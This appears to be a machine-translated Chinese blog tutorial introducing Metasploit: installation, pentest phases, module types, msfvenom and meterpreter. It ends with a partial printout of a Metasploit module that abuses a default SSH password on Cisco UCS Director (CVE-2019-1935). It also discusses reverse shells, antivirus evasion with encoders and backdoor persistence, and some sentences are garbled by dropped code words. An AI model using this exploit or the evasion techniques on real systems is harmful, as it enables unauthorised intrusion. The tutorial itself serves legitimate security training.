初学者的Metasploit教程 - 从基础到高级

Metasploit是使用最广泛的渗透测试工具之一,是一个非常强大的多合一工具,用于执行渗透测试的不同步骤。


前言

如果您曾经尝试利用某些易受攻击的系统,那么您很可能已经使用过Metasploit,或者至少熟悉这个名称。它允许您查找有关系统漏洞的信息,使用现有漏洞渗透系统,帮助创建自己的漏洞等等。

在本教程中,我们将详细介绍 Metasploit 框架的基础知识,并向您展示如何充分利用这个强大工具的真实示例。


提示:以下是本篇文章正文内容,下面案例可供参考

安装Metasploit

Metasploit适用于Windows和Linux操作系统,您可以从Github中该工具的官方存储库下载源文件。如果您正在运行任何专为渗透测试而设计的操作系统,例如Kali Linux,它将预装在您的系统中。我们将介绍如何在Kali Linux上使用Metasploit Framework版本6。但是,无论您在哪里使用Metasploit,基础知识都将保持不变。

在 Linux 上安装 Metasploit

要在Linux中安装Metasploit,你必须获得metasploit-framework软件包。在基于 Debian 和 Ubuntu 的 Linux 发行版上,您可以使用 apt 实用程序:

apt install metasploit-framework

在 CentOS/Redhat 上,你可以使用 yum 实用程序来做同样的事情:

yum install metasploit-framework

了解 Metasploit 的版本并更新

如果您不确定是否有Metasploit,可以通过在终端中输入来确认:msfconsole

msfconsole

在这里插入图片描述
如您所见,我的机器已经安装了Metasploit Framework。

每次使用该命令启动 Metasploit 框架时,Metasploit 都会更改其问候消息,因此在运行它时可能会看到不同的问候消息。msfconsole

您还可以找出程序加载后安装的版本。输入并按回车键得到答案:version
在这里插入图片描述
我使用的是版本 6。如果您还没有很快更新您的 Metasploit,最好在开始使用之前更新它。这是因为如果该工具是旧的,那么更新的漏洞将不会添加到Metasploit框架的数据库中。您可以通过以下命令更新程序:msfupdate

MSF6 > MSFupdate

[*] 执行: MSF更新

当 Metasploit 是操作的一部分时,不再支持 msfupdate

系统。请使用 'apt 更新;

apt install metasploit-framework'

如您所见,该命令不受支持。发生这种情况是因为Metasploit已经是Kali Linux更新版本中操作系统的一部分。如果您使用的是旧版本的 Kali Linux,则此命令将适用于您的系统。msfupdate

现在您已经知道如何安装和更新 Metasploit 框架,让我们开始学习一些与 Metasploit 相关的基础知识。

渗透测试的基础知识

在开始之前,让我们简要地熟悉渗透测试的一些步骤。如果您已经熟悉该概念,那么您可以跳到好的部分。让我们列出渗透测试中的一些基本步骤:

  1. 信息收集/侦察
  2. 漏洞分析
  3. 渗透
  4. 渗透后
  5. 报告

1. 信息收集/侦察

在任何渗透测试的一开始,信息收集都会完成。您可以收集的有关目标的信息越多,就越能更好地了解目标系统并在该过程的后面使用这些信息。信息可能包括关键信息,如开放端口、正在运行的服务,或一般信息,如域名注册信息。各种技术和工具用于收集有关目标的信息,例如 – nmap,zenmap,whois,nslookup,dig,maltego等。

最常用的信息收集和扫描工具之一是或网络映射器实用程序。

2. 漏洞分析

在此步骤中,将分析目标的潜在漏洞以采取进一步措施。并非所有漏洞都属于同一级别。一旦被利用,某些漏洞可能会让您完全访问系统,而有些漏洞可能只为您提供有关系统的一些正常信息。可能导致一些重大结果的漏洞是从这里开始的漏洞。在这一步中,Metasploit为您提供了一个有用的数据库。

3.渗透

分析已识别的漏洞后,这是利用漏洞的步骤。

在此步骤中,使用特定程序/漏洞来攻击具有漏洞的计算机。

您可能想知道,这些漏洞从何而来?

漏洞利用来自许多来源。主要来源之一是漏洞和剥削研究人员。人们这样做是因为这里有很多利害关系,即可能涉及巨额资金作为赏金。

现在,您可能会问是否发现了漏洞,这些应用程序不是已经修复了吗?答案是肯定的,他们是。但是修复程序会在应用程序的下一次更新中出现。

那些已经在使用过时版本的人可能无法获得更新,并且仍然容易受到攻击。Metasploit框架是最适合这一步的工具。它为您提供了从数千种漏洞中进行选择的选项,并直接从 Metasploit 控制台使用它们。新的漏洞会定期更新并纳入Metasploit。您还可以从在线漏洞利用数据库添加一些其他漏洞,例如漏洞利用数据库.

此外,并非所有漏洞都是现成的供您使用。有时,您可能不得不设计自己的漏洞来逃避安全系统和入侵检测系统。Metasploit在这方面也有不同的选择供您探索。

4. 渗透后

这是您完成利用目标系统后的步骤。您可以访问系统,在这里您将决定如何处理系统。您可能有权访问低权限用户。在此步骤中,您将尝试提升您的权限。您也可以在受害者机器上保留一个后门,以便以后随时进入系统。Metasploit也有许多功能可以帮助您完成此步骤。

5. 报告

这是许多渗透测试人员必须完成的步骤。进行测试后,公司或组织将要求他们撰写有关要进行的测试和改进的详细报告。

现在,经过漫长的等待,让我们进入实际程序的基础知识 - Metasploit Framework。

Metasploit 框架的基础知识

在本节中,我们将学习与Metasploit框架相关的所有基础知识。这将帮助我们理解与程序相关的术语,并使用基本命令进行导航。

Metasploit 框架模块

如前所述,Metasploit可用于大多数渗透测试步骤。Metasploit提供的核心功能可以用一些模块来概括:

  1. 漏洞
  2. 有效载荷
  3. 辅助设备
  4. 编码器
    现在我们将讨论它们中的每一个并解释它们的含义。

1. 漏洞利用

漏洞利用是用于攻击目标漏洞的程序。Metasploit Framework上有一个大型的漏洞利用数据库。您可以在数据库中搜索漏洞利用,并查看有关其工作方式、发现时间、有效性等信息。

2. 有效载荷

有效负载在漏洞利用运行后执行某些任务。您可以使用不同类型的有效负载。例如,您可以使用反向 shell 有效负载,它基本上在受害机器中生成 shell/终端/cmd 并连接回攻击机器。

有效负载的另一个示例是绑定外壳。这种类型的 shell 在受害计算机上创建一个侦听端口,然后攻击者计算机连接到该端口。与绑定外壳相比,反向外壳的优点是,大多数系统防火墙通常不会像阻止传入连接那样阻止传出连接。

Metasploit Framework有很多有效载荷选项。一些最常用的是反向外壳、绑定外壳、仪表等。

3. 辅助设备

这些是不直接利用系统的程序。相反,它们是为在Metasploit中提供自定义功能而构建的。一些辅助设备是嗅探器、端口扫描仪等。这些可以帮助您扫描受害者计算机以进行信息收集。例如,如果您看到受害机器正在运行 ssh 服务,但您无法找出它正在使用的 ssh 版本——您可以扫描端口并使用辅助模块获取 ssh 版本。

4. 编码器

Metasploit还为您提供了使用编码器的选项,这些编码器将以威胁检测程序解释的方式加密代码。它们将在执行时自行解密并成为原始代码。但是,编码器是有限的,防病毒软件的数据库中已经有许多签名。因此,仅使用编码器并不能保证防病毒规避。不过,您可能只需使用编码器即可通过一些防病毒软件。您必须发挥创意并尝试更改有效载荷,以免检测到它。

Metasploit框架的组成部分

Metasploit是开源的,它是用Ruby编写的。它是一个可扩展的框架,您可以使用 Ruby 构建自己喜欢的自定义功能。您还可以添加不同的插件。在Metaslpoit框架的核心,有一些关键组件:

  1. msfconsole
  2. msfdb
  3. msfvenom
  4. meterpreter
    让我们谈谈这些组件中的每一个。

1. msfconsole

这是Metasploit框架使用的命令行界面。它使您能够轻松浏览所有Metasploit数据库并使用所需的模块。这是您之前输入的获取Metasploit控制台的命令。

2.MSFDB

管理所有数据可能会很快成为一个障碍,这就是为什么Metasploit Framework为您提供了使用PostgreSQL数据库来快速有效地存储和访问数据的选项。例如,您可以在数据库中存储和组织扫描结果,以便以后访问它们。

3.MSFVENOM

该工具模仿其名称并帮助您创建自己的有效载荷(注入受害者机器的毒液)。这一点很重要,因为您的有效负载可能会被检测为威胁,并被防病毒或反恶意软件等威胁检测软件删除。

发生这种情况是因为威胁检测系统已经存储了许多恶意负载的指纹。有一些方法可以逃避检测。我们将在后面专门讨论的部分中讨论这一点。msfvenom

4. meterpreter

meterpreter是一个高级有效载荷,内置了许多功能。它使用加密数据包进行通信。此外,一旦进入系统,就很难跟踪和定位。它可以捕获屏幕截图,转储密码哈希等等。

驱动器上的 metasploit 位置

Metasploit Framework 位于 /usr/share/metasploit-framework/ 目录中。您可以找到有关其组件的所有信息,并查看漏洞利用和有效负载代码。您还可以在此处添加自己的漏洞,以便从Metasploit控制台访问它。

让我们浏览一下 Metasploit 目录:

cd /usr/share/metasploit-framework

在这里插入图片描述
如您所见,有一个名为模块的目录,它应该包含漏洞利用、有效负载、辅助、编码器,如前所述。让我们进入它:

cd modules

在这里插入图片描述
此处提供了所有讨论的模块。但是,、 和是附加条目。该模块是 Metasploit 框架的新条目,可帮助创建逃避防病毒 (AV) 检测的有效负载。 代表无操作,这意味着 CPU 将只移动到下一个操作。 帮助在有效载荷中创建随机性 - 因为添加它们不会改变程序的功能。

evasion nops post evasion NopNops

最后,后期模块包含一些您可能需要在开发后使用的程序。例如,您可能希望发现您利用的主机是虚拟机还是物理计算机。您可以使用帖子类别中的模块执行此操作。现在,您可以浏览所有漏洞,有效负载或其他漏洞,并查看其代码。让我们导航到漏洞利用目录并选择一个漏洞利用。然后,我们将查看该漏洞利用的代码。checkvm

cd exploits

在这里插入图片描述
您现在看到的是漏洞利用的类别。例如,linux 目录包含可用于 Linux 系统的所有漏洞利用。

cd linux

在这里插入图片描述
让我们来看看ssh的漏洞利用。

cd ssh

在这里插入图片描述
如您所见,所有漏洞都是用 Ruby 编写的,因此,文件的扩展名是 .现在让我们看一下使用该命令的特定漏洞利用的代码,该命令直接在终端上输出内容:.rbcat
在这里插入图片描述

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SSH

  def initialize(info = {
   })
    super(
      update_info(
        info,
        'Name' => 'Cisco UCS Director default scpuser password',
        'Description' => %q{
   
          This module abuses a known default password on Cisco UCS Director. The 'scpuser'
          has the password of 'scpuser', and allows an attacker to login to the virtual appliance
          via SSH.
          This module  has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
          Note that Cisco also mentions in their advisory that their IMC Supervisor and
          UCS Director Express are also affected by these vulnerabilities, but this module
          was not tested with those products.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Pedro Ribeiro <pedrib[at]gmail.com>'        # Vulnerability discovery and Metasploit module
        ],
        'References' => [
          [ 'CVE', '2019-1935' ],
          [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2019/Aug/36' ],
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-ucs-rce.txt' ]
        ],
        'DefaultOptions' => {
   
          'EXITFUNC' => 'thread'
        },
        'Payload' => {
   
          'Compat' => {
   
            'PayloadType' => 'cmd_interact',
            'ConnectionType' => 'find'
          }
        },
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Cisco UCS Director < 6.7.2.0', {
   } ],
        ],
        'Privileged' => false,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2019-08-21',
        'Notes' => {
   
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(22),
        OptString.new('USERNAME', [true, 'Username to login with', 'scpuser']),
        OptString.new('PASSWORD', [true, 'Password to login with', 'scpuser']),
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def do_login(user, pass
  • 13
    点赞
  • 74
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

「已注销」

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值